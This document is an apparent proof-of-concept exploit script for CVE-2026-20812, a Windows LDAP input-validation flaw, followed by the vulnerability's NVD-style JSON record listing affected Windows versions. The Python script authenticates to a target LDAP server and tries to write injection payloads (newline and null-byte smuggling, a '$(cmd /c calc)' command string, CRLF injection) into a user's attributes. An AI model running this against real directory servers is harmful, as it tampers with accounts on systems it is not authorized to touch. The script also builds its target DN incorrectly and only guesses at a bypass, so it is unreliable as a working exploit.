CVE-2026-20812

# CVE-2026-20812 PoC - LDAP Input Validation Bypass # This PoC demonstrates improper input validation in Windows LDAP # Author: Security Researcher # Note: For authorized security testing only import ldap3 import sys from ldap3.core.exceptions import LDAPException def exploit_ldap_injection(target_ip, domain, username, password): """ Demonstrates LDAP input validation vulnerability exploitation """ try: # Connect to LDAP server server = ldap3.Server(f'ldap://{target_ip}', get_info=ldap3.ALL) conn = ldap3.Connection(server, user=f'{domain}\\{username}', password=password, auto_bind=True) print(f"[+] Successfully connected to LDAP server at {target_ip}") # Malicious LDAP attributes with improper input # Exploit: Inject special characters that bypass validation malicious_dn = "CN=TargetUser,CN=Users," + domain # Craft modification with validation bypass payload modifications = { 'description': 'NormalValue\nMaliciousValue\x00HiddenData', 'displayName': '$(cmd /c calc)', # Potential command injection 'mail': '[email protected]\r\nmail:[email protected]' } # Attempt LDAP modification for attr, value in modifications.items(): try: conn.modify(malicious_dn, {attr: [(ldap3.MODIFY_REPLACE, [value])]}) if conn.result['result'] == 0: print(f"[!] Successfully modified {attr} - Validation bypassed!") else: print(f"[*] Modification of {attr} failed: {conn.result}") except LDAPException as e: print(f"[-] Error modifying {attr}: {e}") # Cleanup conn.unbind() return True except LDAPException as e: print(f"[-] LDAP Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-20812-poc.py <target_ip> <domain> <username> <password>") sys.exit(1) exploit_ldap_injection(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

{"cve": {"id": "CVE-2026-20812", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:07.913", "lastModified": "2026-01-14T20:25:38.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Windows LDAP - Lightweight Directory Access Protocol allows an authorized attacker to perform tampering over a network."}, {"lang": "es", "value": "La validación de entrada indebida en Windows LDAP - Protocolo Ligero de Acceso a Directorios permite a un atacante autorizado realizar manipulación a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20812", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}